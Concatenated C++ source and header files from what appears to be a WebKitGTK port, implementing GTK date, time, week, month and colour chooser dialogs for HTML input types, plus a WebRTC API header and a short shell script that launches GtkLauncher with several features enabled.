, m_labelCurrentTime(NULL)
{
initialize();
}
TimeChooserGtk::~TimeChooserGtk()
{
m_comboboxAmPm = NULL;
m_spinbuttonHour = NULL;
m_spinbuttonMinute = NULL;
m_buttonOk = NULL;
m_buttonCancle = NULL;
m_labelCurrentTime = NULL;
}
bool TimeChooserGtk::createDateTimeChooserWidget()
{
struct timeval timeVal;
gettimeofday(&timeVal, 0);
struct tm* currentTime = localtime( &timeVal.tv_sec);
String stringBuffer;
GtkWidget* label = NULL;
GtkWidget* containerBox = NULL; //main container box
GtkWidget* containerSubBox = NULL; //sub container box for date chooser and time chooser
GtkWidget* containerButtonBox = NULL;
GtkAdjustment* adjHour = NULL;
GtkAdjustment* adjMinute = NULL;
m_window = gtk_window_new(GTK_WINDOW_TOPLEVEL);
if(!m_window)
return false;
gtk_window_set_title(GTK_WINDOW(m_window), "TimeChooser");
gtk_window_set_default_size(GTK_WINDOW(m_window), WIDGET_DEFAULT_HEIGHT, WIDGET_DEFAULT_WIDTH);
gtk_window_set_resizable (GTK_WINDOW(m_window), false);
gtk_window_set_position(GTK_WINDOW(m_window), GTK_WIN_POS_CENTER);
containerBox = gtk_box_new(GTK_ORIENTATION_VERTICAL, 0);
gtk_container_add(GTK_CONTAINER(m_window), containerBox);
if(!containerBox)
return false;
adjHour = gtk_adjustment_new(1, 1, 13, 1, 1, 1); //set spinbuttonHour value range
adjMinute = gtk_adjustment_new (1, 0, 60, 1, 1, 1 ); //set spinbuttonMinute value range
m_comboboxAmPm = gtk_combo_box_text_new();
if(!adjHour || !adjMinute || !m_comboboxAmPm)
return false;
m_spinbuttonHour = gtk_spin_button_new(adjHour, 1, 0);
m_spinbuttonMinute = gtk_spin_button_new(adjMinute,1, 0);
if(!m_spinbuttonHour || !m_spinbuttonMinute)
return false;
gtk_spin_button_set_numeric(GTK_SPIN_BUTTON(m_spinbuttonHour), TRUE);
gtk_spin_button_set_numeric(GTK_SPIN_BUTTON(m_spinbuttonMinute), TRUE);
gtk_combo_box_text_append_text (GTK_COMBO_BOX_TEXT(m_comboboxAmPm), AM);
gtk_combo_box_text_append_text (GTK_COMBO_BOX_TEXT(m_comboboxAmPm), PM);
gtk_spin_button_set_value (GTK_SPIN_BUTTON(m_spinbuttonMinute), currentTime->tm_min);
if(currentTime->tm_hour > NOON) // afternoon
{
stringBuffer = String::format("%s %s %d : %d", "Current Time : ", PM, currentTime->tm_hour-12, currentTime->tm_min);
gtk_spin_button_set_value (GTK_SPIN_BUTTON(m_spinbuttonHour), currentTime->tm_hour-12);
gtk_combo_box_set_active (GTK_COMBO_BOX(m_comboboxAmPm), 1);
setPastValues(0, 0, 0, currentTime->tm_hour-12, currentTime->tm_min, PM);
}
else //morning
{
stringBuffer = String::format("%s %s %d : %d", "Current Time : ", AM, currentTime->tm_hour, currentTime->tm_min);
gtk_spin_button_set_value (GTK_SPIN_BUTTON(m_spinbuttonHour), currentTime->tm_hour);
gtk_combo_box_set_active (GTK_COMBO_BOX(m_comboboxAmPm), 0);
setPastValues(0, 0, 0, currentTime->tm_hour, currentTime->tm_min, AM);
}
m_labelCurrentTime = gtk_label_new(stringBuffer.utf8().data());
if(!m_labelCurrentTime)
return false;
gtk_box_pack_start(GTK_BOX(containerBox), m_labelCurrentTime, FALSE, FALSE, 0);
containerSubBox = gtk_box_new(GTK_ORIENTATION_HORIZONTAL, 0);
if(!containerSubBox)
return false;
gtk_box_set_spacing(GTK_BOX(containerSubBox), 1);
label = gtk_label_new(":");
if(!label)
return false;
gtk_box_pack_start(GTK_BOX(containerBox), containerSubBox, TRUE, TRUE, 0);
gtk_box_pack_start(GTK_BOX(containerSubBox), m_comboboxAmPm, TRUE, TRUE, 0);
gtk_box_pack_start(GTK_BOX(containerSubBox), m_spinbuttonHour, TRUE, TRUE, 0);
gtk_box_pack_start(GTK_BOX(containerSubBox), label, FALSE, FALSE, 0);
gtk_box_pack_start(GTK_BOX(containerSubBox), m_spinbuttonMinute, TRUE, TRUE, 0);
//buttons
containerButtonBox = gtk_box_new(GTK_ORIENTATION_HORIZONTAL, 0);
if(!containerButtonBox)
return false;
gtk_box_pack_start(GTK_BOX(containerBox), containerButtonBox, TRUE, TRUE, 0);
m_buttonOk = gtk_button_new_with_label("Ok");
m_buttonCancle = gtk_button_new_with_label("Cancle");
if(!m_buttonOk || !m_buttonCancle)
return false;
gtk_box_pack_start(GTK_BOX(containerButtonBox), m_buttonOk, TRUE, TRUE, 0);
gtk_box_pack_end(GTK_BOX(containerButtonBox), m_buttonCancle, TRUE, TRUE, 0);
gtk_box_set_homogeneous(GTK_BOX(containerButtonBox), TRUE);
//button's listener
g_signal_connect(GTK_WIDGET(m_buttonOk), "clicked", G_CALLBACK(TimeChooserOkButtonPressedCallback), (gpointer)this);
g_signal_connect(GTK_WIDGET(m_buttonCancle), "clicked", G_CALLBACK(TimeChooserCancleButtonPressedCallback), (gpointer)this);
//calender's listener
g_signal_connect(GTK_WIDGET(m_window), "delete_event", G_CALLBACK(gtk_widget_hide_on_delete), NULL);
gtk_widget_show_all(m_window);
return TRUE;
}
void TimeChooserGtk::reattachDateTimeChooser()
{
gint hour = 0;
gint min = 0;
gchar* AmPm = NULL;
if(!m_window || !m_spinbuttonHour || !m_spinbuttonMinute || !m_labelCurrentTime)
return;
AmPm = gtk_combo_box_text_get_active_text(GTK_COMBO_BOX_TEXT(m_comboboxAmPm));
hour = gtk_spin_button_get_value_as_int(GTK_SPIN_BUTTON(m_spinbuttonHour));
min = gtk_spin_button_get_value_as_int(GTK_SPIN_BUTTON(m_spinbuttonMinute));
String stringBuffer = String::format("%s %s %d : %d", "Current Time : ", AmPm, hour, min);
gtk_label_set_text (GTK_LABEL(m_labelCurrentTime), stringBuffer.utf8().data());
setPastValues(0, 0, 0, hour, min, AmPm);
gtk_window_present(GTK_WINDOW(m_window));
}
}//namespace webcore
#endif
<file_sep>/Source/WebKit/gtk/WebCoreSupport/DateTimeChooserGtk.cpp
#include "config.h"
#if ENABLE(DATE_AND_TIME_INPUT_TYPES)
#include "DateTimeChooserGtk.h"
namespace WebCore {
void DateTimeChooserDaySelectedCallback(GtkWidget* widget, gpointer data)
{
if(!widget)
return;
guint year = 0;
guint month = 0;
guint day = 0;
gtk_calendar_clear_marks(GTK_CALENDAR(widget));
gtk_calendar_get_date(GTK_CALENDAR(widget), &year, &month, &day);
gtk_calendar_mark_day(GTK_CALENDAR(widget), day);
}
void DateTimeChooserCancleButtonPressedCallback(GtkWidget* widget, gpointer data)
{
DateTimeChooserGtk* chooser = reinterpret_cast<DateTimeChooserGtk*>(data);
if(!chooser || !chooser->window() || !chooser->combobox() || !chooser->spinbuttonHour() || !chooser->spinbuttonMinute())
return;
gtk_widget_hide(GTK_WIDGET(chooser->window()));
if(chooser->getPastValues().sPastAmPm == AM)
gtk_combo_box_set_active (GTK_COMBO_BOX(chooser->combobox()), 0);
else
gtk_combo_box_set_active (GTK_COMBO_BOX(chooser->combobox()), 1);
gtk_spin_button_set_value(GTK_SPIN_BUTTON(chooser->spinbuttonHour()), chooser->getPastValues().iPastHour);
gtk_spin_button_set_value(GTK_SPIN_BUTTON(chooser->spinbuttonMinute()), chooser->getPastValues().iPastMin);
gtk_calendar_select_month (GTK_CALENDAR(chooser->calendar()),chooser->getPastValues().uiPastMonth, chooser->getPastValues().uiPastYear);
gtk_calendar_select_day (GTK_CALENDAR(chooser->calendar()), chooser->getPastValues().uiPastDay );
}
void DateTimeChooserOkButtonPressedCallback(GtkWidget* widget, gpointer data)
{
DateTimeChooserGtk* chooser = reinterpret_cast<DateTimeChooserGtk*>(data);
if(!chooser || !chooser->client() || !chooser->calendar() || !chooser->combobox() || !chooser->spinbuttonHour() || !chooser->spinbuttonMinute() || !chooser->window())
return;
String type(chooser->inputType());
guint year = 0;
guint month = 0;
guint day = 0;
gtk_calendar_get_date(GTK_CALENDAR(chooser->calendar()), &year, &month, &day);
String sYear(String::number(year));
String sMonth(String::number(CURRENT_MONTH(month)));
String sDay(String::number(day));
String AmPm(gtk_combo_box_text_get_active_text(GTK_COMBO_BOX_TEXT(chooser->combobox())));
gint iHour = gtk_spin_button_get_value_as_int(GTK_SPIN_BUTTON(chooser->spinbuttonHour()));
if(AmPm == PM && iHour != NOON) //afternoon ex) 12:32, 14:32, ...
iHour += 12;
if(AmPm == AM && iHour == MIDNIGHT) //morning ex) 00:13, 1:13, ...
iHour = 0;
String sHour(String::number(iHour));
String sMinute(gtk_entry_get_text(GTK_ENTRY(chooser->spinbuttonMinute())));
if(sMonth.length() < 2)
sMonth.insert("0", 0);
if(sDay.length() < 2)
sDay.insert("0", 0);
if(sHour.length() < 2)
sHour.insert("0", 0);
if(sMinute.length() < 2)
sMinute.insert("0", 0);
chooser->client()->updateDateTimeChooser(String::format("%s-%s-%sT%s:%sZ", sYear.utf8().data(), sMonth.utf8().data(), sDay.utf8().data(), sHour.utf8().data(), sMinute.utf8().data()));
gtk_widget_hide(GTK_WIDGET(chooser->window()));
}
void DateTimeLocalChooserOkButtonPressedCallback(GtkWidget* widget, gpointer data)
{
DateTimeChooserGtk* chooser = reinterpret_cast<DateTimeChooserGtk*>(data);
if(!chooser || !chooser->client() || !chooser->calendar() || !chooser->combobox() || !chooser->spinbuttonHour() || !chooser->spinbuttonMinute() || !chooser->window())
return;
String type(chooser->inputType());
guint year = 0;
guint month = 0;
guint day = 0;
gtk_calendar_get_date(GTK_CALENDAR(chooser->calendar()), &year, &month, &day);
String sYear(String::number(year));
String sMonth(String::number(CURRENT_MONTH(month)));
String sDay(String::number(day));
String AmPm(gtk_combo_box_text_get_active_text(GTK_COMBO_BOX_TEXT(chooser->combobox())));
gint iHour = gtk_spin_button_get_value_as_int(GTK_SPIN_BUTTON(chooser->spinbuttonHour()));
if(AmPm == PM && iHour != NOON) //afternoon ex) 12:32, 14:32, ...
iHour += 12;
if(AmPm == AM && iHour == MIDNIGHT) //morning ex) 00:13, 1:13, ...
iHour = 0;
String sHour(String::number(iHour));
String sMinute(gtk_entry_get_text(GTK_ENTRY(chooser->spinbuttonMinute())));
if(sMonth.length() < 2)
sMonth.insert("0", 0);
if(sDay.length() < 2)
sDay.insert("0", 0);
if(sHour.length() < 2)
sHour.insert("0", 0);
if(sMinute.length() < 2)
sMinute.insert("0", 0);
chooser->client()->updateDateTimeChooser(String::format("%s-%s-%sT%s:%s", sYear.utf8().data(), sMonth.utf8().data(), sDay.utf8().data(), sHour.utf8().data(), sMinute.utf8().data()));
gtk_widget_hide(GTK_WIDGET(chooser->window()));
}
DateTimeChooserGtk::DateTimeChooserGtk(ChromeClient* chromeClient, String type) : BaseDateTimeChooserGtk(chromeClient, type)
, m_calendarDateChooser(NULL)
, m_comboboxAmPm(NULL)
, m_spinbuttonHour(NULL)
, m_spinbuttonMinute(NULL)
, m_buttonOk(NULL)
, m_buttonCancle(NULL)
, m_labelCurrentDate(NULL)
, m_labelCurrentTime(NULL)
{
initialize();
}
DateTimeChooserGtk::~DateTimeChooserGtk()
{
m_calendarDateChooser = NULL;
m_comboboxAmPm = NULL;
m_spinbuttonHour = NULL;
m_spinbuttonMinute = NULL;
m_buttonOk = NULL;
m_buttonCancle = NULL;
m_labelCurrentDate = NULL;
m_labelCurrentTime = NULL;
}
bool DateTimeChooserGtk::createDateTimeChooserWidget()
{
struct timeval timeVal;
gettimeofday(&timeVal, 0);
struct tm* currentTime = localtime( &timeVal.tv_sec);
GtkWidget* label = NULL;
GtkWidget* containerBox = NULL; //main container box
GtkWidget* containerSubBox = NULL; //sub container box for date chooser and time chooser
GtkWidget* containerButtonBox = NULL;
GtkAdjustment* adjHour = NULL;
GtkAdjustment* adjMinute = NULL;
m_window = gtk_window_new(GTK_WINDOW_TOPLEVEL);
gtk_window_set_title(GTK_WINDOW(m_window), "DateTimeChooser");
gtk_window_set_default_size(GTK_WINDOW(m_window), WIDGET_DEFAULT_HEIGHT, WIDGET_DEFAULT_WIDTH);
gtk_window_set_resizable (GTK_WINDOW(m_window), false);
gtk_window_set_position(GTK_WINDOW(m_window), GTK_WIN_POS_CENTER);
if(!m_window)
return false;
containerBox = gtk_box_new(GTK_ORIENTATION_VERTICAL, 0);
if(!containerBox)
return false;
gtk_container_add(GTK_CONTAINER(m_window), containerBox);
//date
m_calendarDateChooser = gtk_calendar_new();
if(!m_calendarDateChooser)
return false;
String stringBuffer = String::format("%s %d - %d - %d", "Current Date : ", CURRENT_YEAR(currentTime->tm_year), CURRENT_MONTH(currentTime->tm_mon), currentTime->tm_mday);
m_labelCurrentDate = gtk_label_new(stringBuffer.utf8().data());
if(!m_labelCurrentDate)
return false;
containerSubBox = gtk_box_new(GTK_ORIENTATION_VERTICAL, 0);
if(!containerSubBox)
return false;
gtk_box_pack_start(GTK_BOX(containerBox), m_labelCurrentDate, FALSE, FALSE, 0);
gtk_box_pack_start(GTK_BOX(containerBox), containerSubBox, TRUE, TRUE, 0);
gtk_box_pack_start(GTK_BOX(containerSubBox), m_calendarDateChooser, TRUE, TRUE, 0);
gtk_calendar_mark_day(GTK_CALENDAR(m_calendarDateChooser), currentTime->tm_mday);
adjHour = gtk_adjustment_new(1, 1, 13, 1, 1, 1); //set spinbuttonHour value
adjMinute = gtk_adjustment_new (1, 0, 60, 1, 1, 1 ); //set spinbuttonMinute value
if(!adjHour || !adjMinute)
return false;
m_comboboxAmPm = gtk_combo_box_text_new();
m_spinbuttonHour = gtk_spin_button_new(adjHour, 1, 0);
m_spinbuttonMinute = gtk_spin_button_new(adjMinute,1, 0);
if(!m_comboboxAmPm || !m_spinbuttonHour || !m_spinbuttonMinute)
return false;
gtk_spin_button_set_numeric(GTK_SPIN_BUTTON(m_spinbuttonHour), TRUE);
gtk_spin_button_set_numeric(GTK_SPIN_BUTTON(m_spinbuttonMinute), TRUE);
gtk_combo_box_text_append_text (GTK_COMBO_BOX_TEXT(m_comboboxAmPm), AM);
gtk_combo_box_text_append_text (GTK_COMBO_BOX_TEXT(m_comboboxAmPm), PM);
gtk_spin_button_set_value (GTK_SPIN_BUTTON(m_spinbuttonMinute), currentTime->tm_min);
if(currentTime->tm_hour > NOON) //afternoon
{
stringBuffer = String::format("%s %s %d : %d", "Current Time : ", PM, currentTime->tm_hour-12, currentTime->tm_min);
gtk_spin_button_set_value (GTK_SPIN_BUTTON(m_spinbuttonHour), currentTime->tm_hour-12);
gtk_combo_box_set_active (GTK_COMBO_BOX(m_comboboxAmPm), 1);
setPastValues(CURRENT_YEAR(currentTime->tm_year), CURRENT_MONTH(currentTime->tm_mon), currentTime->tm_mday, currentTime->tm_hour-12 , currentTime->tm_min , PM);
}
else //morning
{
stringBuffer = String::format("%s %s %d : %d", "Current Time : ", AM, currentTime->tm_hour, currentTime->tm_min);
gtk_spin_button_set_value (GTK_SPIN_BUTTON(m_spinbuttonHour), currentTime->tm_hour);
gtk_combo_box_set_active (GTK_COMBO_BOX(m_comboboxAmPm), 0);
setPastValues(CURRENT_YEAR(currentTime->tm_year), CURRENT_MONTH(currentTime->tm_mon), currentTime->tm_mday, currentTime->tm_hour, currentTime->tm_min, AM);
}
m_labelCurrentTime = gtk_label_new(stringBuffer.utf8().data());
if(!m_labelCurrentTime)
return false;
gtk_box_pack_start(GTK_BOX(containerBox), m_labelCurrentTime, FALSE, FALSE, 0);
containerSubBox = gtk_box_new(GTK_ORIENTATION_HORIZONTAL, 0);
gtk_box_set_spacing(GTK_BOX(containerSubBox), 1);
label = gtk_label_new(":");
if(!label)
return false;
gtk_box_pack_start(GTK_BOX(containerBox), containerSubBox, TRUE, TRUE, 0);
gtk_box_pack_start(GTK_BOX(containerSubBox), m_comboboxAmPm, TRUE, TRUE, 0);
gtk_box_pack_start(GTK_BOX(containerSubBox), m_spinbuttonHour, TRUE, TRUE, 0);
gtk_box_pack_start(GTK_BOX(containerSubBox), label, FALSE, FALSE, 0);
gtk_box_pack_start(GTK_BOX(containerSubBox), m_spinbuttonMinute, TRUE, TRUE, 0);
//buttons
containerButtonBox = gtk_box_new(GTK_ORIENTATION_HORIZONTAL, 0);
if(!containerButtonBox)
return false;
gtk_box_pack_start(GTK_BOX(containerBox), containerButtonBox, TRUE, TRUE, 0);
m_buttonOk = gtk_button_new_with_label("Ok");
m_buttonCancle = gtk_button_new_with_label("Cancle");
if(!m_buttonOk || !m_buttonCancle)
return false;
gtk_box_pack_start(GTK_BOX(containerButtonBox), m_buttonOk, TRUE, TRUE, 0);
gtk_box_pack_end(GTK_BOX(containerButtonBox), m_buttonCancle, TRUE, TRUE, 0);
gtk_box_set_homogeneous(GTK_BOX(containerButtonBox), TRUE);
//button's listener
if(m_inputType == TYPE_DATETIME)
g_signal_connect(GTK_WIDGET(m_buttonOk), "clicked", G_CALLBACK(DateTimeChooserOkButtonPressedCallback), (gpointer)this);
if(m_inputType == TYPE_DATETIME_LOCAL)
g_signal_connect(GTK_WIDGET(m_buttonOk), "clicked", G_CALLBACK(DateTimeLocalChooserOkButtonPressedCallback), (gpointer)this);
g_signal_connect(GTK_WIDGET(m_buttonCancle), "clicked", G_CALLBACK(DateTimeChooserCancleButtonPressedCallback), (gpointer)this);
g_signal_connect(GTK_WIDGET(m_calendarDateChooser), "day_selected", G_CALLBACK(DateTimeChooserDaySelectedCallback), NULL);
//calender's listener
g_signal_connect(GTK_WIDGET(m_window), "delete_event", G_CALLBACK(gtk_widget_hide_on_delete), NULL);
gtk_widget_show_all(m_window);
return TRUE;
}
void DateTimeChooserGtk::reattachDateTimeChooser()
{
guint year = 0;
guint month = 0;
guint day = 0;
gint hour = 0;
gint min = 0;
gchar* AmPm = NULL;
if(!m_window && !m_spinbuttonHour && !m_spinbuttonMinute && !m_labelCurrentTime && !m_labelCurrentDate && !m_calendarDateChooser)
return;
AmPm = gtk_combo_box_text_get_active_text(GTK_COMBO_BOX_TEXT(combobox()));
hour = gtk_spin_button_get_value_as_int(GTK_SPIN_BUTTON(m_spinbuttonHour));
min = gtk_spin_button_get_value_as_int(GTK_SPIN_BUTTON(m_spinbuttonMinute));
String stringBuffer = String::format("%s %s %d : %d", "Current Time : ", AmPm, hour, min);
gtk_label_set_text (GTK_LABEL(m_labelCurrentTime), stringBuffer.utf8().data());
gtk_calendar_get_date(GTK_CALENDAR(m_calendarDateChooser), &year, &month, &day);
stringBuffer = String::format("%s %d - %d - %d", "Current Date : ", year, CURRENT_MONTH(month), day);
gtk_label_set_text(GTK_LABEL(m_labelCurrentDate), stringBuffer.utf8().data());
setPastValues(year, month, day, hour, min, AmPm);
gtk_window_present(GTK_WINDOW(m_window));
}
}//end namespace webcore
#endif
<file_sep>/Source/WebKit/gtk/WebCoreSupport/BaseDateTimeChooserGtk.cpp
#include "config.h"
#if ENABLE(DATE_AND_TIME_INPUT_TYPES)
#include "ChromeClientGtk.h"
#include "BaseDateTimeChooserGtk.h"
#include "DateTimeChooserClient.h"
namespace WebCore {
BaseDateTimeChooserGtk::BaseDateTimeChooserGtk(ChromeClient* chromeClient, String type)
: m_chromeClient(chromeClient)
, m_window(NULL)
, m_inputType(type)
{
setPastValues();
}
BaseDateTimeChooserGtk::~BaseDateTimeChooserGtk()
{
m_window = NULL;
m_chromeClient = NULL;
}
void BaseDateTimeChooserGtk::endChooser()
{
if(m_window)
gtk_widget_destroy(GTK_WIDGET(m_window));
if(m_chromeClient)
m_chromeClient->removeDateTimeChooser();
}
void BaseDateTimeChooserGtk::setPastValues(guint year, guint month, guint day, gint hour, gint min, char* ampm)
{
m_pastValues.uiPastYear = year;
m_pastValues.uiPastMonth = month;
m_pastValues.uiPastDay = day;
m_pastValues.iPastHour = hour;
m_pastValues.iPastMin = min;
m_pastValues.sPastAmPm = String::format("%s", ampm);
}
void BaseDateTimeChooserGtk::initialize()
{
if(!createDateTimeChooserWidget()) //if it is failed making widgets
endChooser();//close chooser
}
}//end namespace webcore
#endif // ENABLE(DATE_AND_TIME_INPUT_TYPES)
<file_sep>/Source/WebKit/gtk/WebCoreSupport/TimeChooserGtk.h
#ifndef TimeChooserGtk_h
#define TimeChooserGtk_h
#if ENABLE(INPUT_TYPE_COLOR)
#include "DateTimeChooser.h"
#include "DateTimeChooserClient.h"
#include "BaseDateTimeChooserGtk.h"
#include "ChromeClient.h"
namespace WebCore {
class ChromeClient;
struct pastValues;
class TimeChooserGtk : public BaseDateTimeChooserGtk {
public:
TimeChooserGtk(ChromeClient* chromeClient, String type);
~TimeChooserGtk();
void reattachDateTimeChooser();
GtkWidget* combobox() { return m_comboboxAmPm; }
GtkWidget* spinbuttonHour() { return m_spinbuttonHour; }
GtkWidget* spinbuttonMinute() { return m_spinbuttonMinute; }
protected:
bool createDateTimeChooserWidget();
private:
GtkWidget* m_comboboxAmPm;
GtkWidget* m_spinbuttonHour;
GtkWidget* m_spinbuttonMinute;
GtkWidget* m_buttonOk;
GtkWidget* m_buttonCancle;
GtkWidget* m_labelCurrentTime;
};
} //namespace webcore
#endif
#endif
<file_sep>/Source/ThirdParty/WebRTC/talk/app/webrtc/api/jingle_peerconnection_api.h
#ifndef JINGLE_PEERCONNECTION_API_H
#define JINGLE_PEERCONNECTION_API_H
#include <asm/unistd.h>
#include <limits>
#include <map>
#include <sys/prctl.h>
#include <sys/syscall.h>
#include <unistd.h>
#include "talk/app/webrtc/mediaconstraintsinterface.h"
#include "talk/app/webrtc/peerconnectioninterface.h"
#include "talk/app/webrtc/videosourceinterface.h"
#include "talk/base/bind.h"
#include "talk/base/logging.h"
#include "talk/base/messagequeue.h"
#include "talk/base/ssladapter.h"
#include "talk/media/base/videocapturer.h"
#include "talk/media/base/videorenderer.h"
#include "talk/media/devices/videorendererfactory.h"
#include "talk/media/webrtc/webrtcvideocapturer.h"
#include "talk/media/webrtc/webrtcvideoencoderfactory.h"
#include "talk/app/webrtc/portallocatorfactory.h"
#include "talk/app/webrtc/test/fakedtlsidentityservice.h"
#include "webrtc/modules/video_coding/codecs/interface/video_codec_interface.h"
#include "webrtc/system_wrappers/interface/compile_assert.h"
#include "webrtc/system_wrappers/interface/trace.h"
#include "webrtc/video_engine/include/vie_base.h"
#include "webrtc/voice_engine/include/voe_base.h"
using webrtc::IceCandidateInterface;
using webrtc::PeerConnectionFactoryInterface;
using webrtc::PeerConnectionInterface;
using webrtc::PortAllocatorFactoryInterface;
using webrtc::SessionDescriptionInterface;
using webrtc::SdpParseError;
extern "C" talk_base::scoped_refptr<webrtc::PeerConnectionFactoryInterface> CreatePeerConnectionFactory();
extern "C" bool InitializeSSL();
extern "C" bool CleanupSSL();
extern "C" talk_base::scoped_refptr<PortAllocatorFactoryInterface> CreatePortAllocatorFactory(talk_base::Thread* worker_thread);
extern "C" cricket::DeviceManagerInterface* CreateDeviceManagerFactory();
extern "C" bool HaveDtlsSrtp();
extern "C" FakeIdentityService* CreateFakeIdentityService();
extern "C" IceCandidateInterface* CreateIceCandidate(const std::string& sdp_mid, int sdp_mline_index, const std::string& sdp);
extern "C" webrtc::SessionDescriptionInterface* CreateWebRTCSessionDescription(const std::string& type, const std::string& sdp, SdpParseError* error);
#endif<file_sep>/Source/WebKit/gtk/WebCoreSupport/BaseDateTimeChooserGtk.h
#ifndef BaseDateTimeChooserGtk_h
#define BaseDateTimeChooserGtk_h
#if ENABLE(DATE_AND_TIME_INPUT_TYPES)
#include "DateTimeChooser.h"
#include "DateTimeChooserClient.h"
#include "ChromeClient.h"
#include <sys/time.h>
#include <gdk/gdk.h>
#include <glib.h>
#include <gtk/gtk.h>
#include <wtf/CurrentTime.h>
#include <wtf/MathExtras.h>
#include <wtf/text/CString.h>
#include <wtf/text/WTFString.h>
#define AM "AM"
#define PM "PM"
#define WIDGET_DEFAULT_HEIGHT 300
#define WIDGET_DEFAULT_WIDTH 100
#define NOON 12
#define MIDNIGHT 12
#define TYPE_WEEK "week"
#define TYPE_MONTH "month"
#define TYPE_DATE "date"
#define TYPE_DATETIME "datetime"
#define TYPE_DATETIME_LOCAL "datetime-local"
#define TYPE_TIME "time"
#define CURRENT_YEAR(x) x+1900 //x is year after 1900 so plus 1900
#define CURRENT_MONTH(x) x+1 // x is month[0-11] so plus 1
namespace WebCore {
struct PastValues
{
gint iPastHour;
gint iPastMin;
guint uiPastMonth;
guint uiPastDay;
guint uiPastYear;
String sPastAmPm;
};
class ChromeClient;
class BaseDateTimeChooserGtk : public DateTimeChooser {
public:
BaseDateTimeChooserGtk(ChromeClient* chromeClient, String type);
~BaseDateTimeChooserGtk();
void endChooser();
GtkWidget* window() { return m_window; }
ChromeClient* client() { return m_chromeClient; }
String inputType() { return m_inputType; }
PastValues getPastValues() const { return m_pastValues; }
protected:
void initialize();
virtual bool createDateTimeChooserWidget() = 0;
void setPastValues(guint year = 0, guint month = 0, guint day = 0, gint Hour = 0, gint min = 0, char* ampm = "");
protected:
ChromeClient* m_chromeClient;
GtkWidget* m_window;
String m_inputType;
PastValues m_pastValues;
};
} //namespace webcore
#endif
#endif
<file_sep>/Source/WebKit/gtk/WebCoreSupport/ColorChooserGtk.h
#ifndef ColorChooserGtk_h
#define ColorChooserGtk_h
#if ENABLE(INPUT_TYPE_COLOR)
#include "ColorChooser.h"
#include "ChromeClient.h"
namespace WebCore {
class Color;
class ChromeClient;
class ColorChooserGtk : public ColorChooser {
public:
ColorChooserGtk(ChromeClient* chromeclient, const Color& color);
~ColorChooserGtk();
void showColorChooser(); //[2013.09.14][infraware][hyunseok] add method
void reattachColorChooser(const Color& color);
void setSelectedColor(const Color& color);
void endChooser();
ChromeClient* client() { return m_chromeClient; }
GtkWidget* dialog() { return m_colorSelectionDialog; }
private:
ChromeClient* m_chromeClient;
GtkWidget* m_colorSelectionDialog = NULL;
};
} // namespace WebCore
#endif // ENABLE(INPUT_TYPE_COLOR)
#endif // ColorChooserGtk_h
<file_sep>/armbuild/seedlauncher.sh
PROCESSOR=`uname -p`
PWD=`pwd`
export LD_LIBRARY_PATH="$PWD/.libs:/usr/local/odroidxu3/webkit/Dependencies/Root/lib"
$PWD/Programs/GtkLauncher --enable-webgl=TRUE --enable-accelerated-compositing=TRUE --enable-html5-local-storage=TRUE --enable-html5-database=TRUE --enable-file-access-from-file-uris=TRUE --enable-webaudio=TRUE --enable-offline-web-application-cache=TRUE --enable-webcl=TRUE $*
<file_sep>/Source/WebKit/gtk/WebCoreSupport/DateChooserGtk.cpp
#include "config.h"
#if ENABLE(DATE_AND_TIME_INPUT_TYPES)
#include "ChromeClientGtk.h"
#include "BaseDateTimeChooserGtk.h"
#include "DateTimeChooserClient.h"
#include "DateChooserGtk.h"
namespace WebCore {
void dateChooserDayClickedCallback(GtkWidget* widget, gpointer data)
{
DateChooserGtk* chooser = reinterpret_cast<DateChooserGtk*>(data);
if(!chooser || !chooser->client() || !widget)
return;
guint year = 0;
guint month = 0;
guint day = 0;
gtk_calendar_clear_marks(GTK_CALENDAR(widget));
gtk_calendar_get_date(GTK_CALENDAR(widget), &year, &month, &day);
gtk_calendar_mark_day(GTK_CALENDAR(widget), day);
String sYear(String::number(year));
String sMonth(String::number(CURRENT_MONTH(month)));
String sDay(String::number(day));
if(sMonth.length() < 2)
sMonth.insert("0", 0);
if(sDay.length() < 2)
sDay.insert("0", 0);
chooser->client()->updateDateTimeChooser(String::format("%s-%s-%s", sYear.utf8().data(), sMonth.utf8().data(), sDay.utf8().data()));
}
void weekChooserDayClickedCallback(GtkWidget* widget, gpointer data)
{
DateChooserGtk* chooser = reinterpret_cast<DateChooserGtk*>(data);
if(!chooser || !chooser->client() || !widget)
return;
guint year = 0;
guint month = 0;
guint day = 0;
gtk_calendar_clear_marks(GTK_CALENDAR(widget));
gtk_calendar_get_date(GTK_CALENDAR(widget), &year, &month, &day);
gtk_calendar_mark_day(GTK_CALENDAR(widget), day);
String sYear(String::number(year));
GDate date;
g_date_set_dmy(&date, (GDateDay)day, (GDateMonth)(CURRENT_MONTH(month)), (GDateYear)year); //month : [0-11]
int weekOfYear = g_date_get_iso8601_week_of_year(&date);
String sWeekOfYear(String::number(weekOfYear));
if(sWeekOfYear.length() < 2)
sWeekOfYear.insert("0", 0);
chooser->client()->updateDateTimeChooser(String::format("%s-W%s", sYear.utf8().data(), sWeekOfYear.utf8().data()));
}
void monthChooserDayClickedCallback(GtkWidget* widget, gpointer data)
{
DateChooserGtk* chooser = reinterpret_cast<DateChooserGtk*>(data);
if(!chooser || !chooser->client() || !widget)
return;
guint year = 0;
guint month = 0;
guint day = 0;
gtk_calendar_clear_marks(GTK_CALENDAR(widget));
gtk_calendar_get_date(GTK_CALENDAR(widget), &year, &month, &day);
gtk_calendar_mark_day(GTK_CALENDAR(widget), day);
String sYear(String::number(year));
String sMonth(String::number(CURRENT_MONTH(month)));
if(sMonth.length() < 2)
sMonth.insert("0", 0);
chooser->client()->updateDateTimeChooser(String::format("%s-%s", sYear.utf8().data(), sMonth.utf8().data()));
}
void dateChooserDayDoubleClickedCallback(GtkWidget* widget, gpointer data)
{
DateChooserGtk* chooser = reinterpret_cast<DateChooserGtk*>(data);
if(!chooser || !chooser->window())
return;
gtk_widget_hide(GTK_WIDGET(chooser->window()));
}
DateChooserGtk::DateChooserGtk(ChromeClient* chromeClient, String type) : BaseDateTimeChooserGtk(chromeClient, type)
,m_calendarDateChooser(NULL)
,m_labelCurrentDate(NULL)
{
initialize();
}
DateChooserGtk::~DateChooserGtk()
{
m_calendarDateChooser = NULL;
m_labelCurrentDate = NULL;
}
bool DateChooserGtk::createDateTimeChooserWidget()
{
struct timeval timeVal;
gettimeofday(&timeVal, 0);
struct tm* currentTime = localtime( &timeVal.tv_sec);
m_window = gtk_window_new(GTK_WINDOW_TOPLEVEL);
if(!m_window)
return FALSE;
gtk_window_set_title(GTK_WINDOW(m_window), "DateChooser");
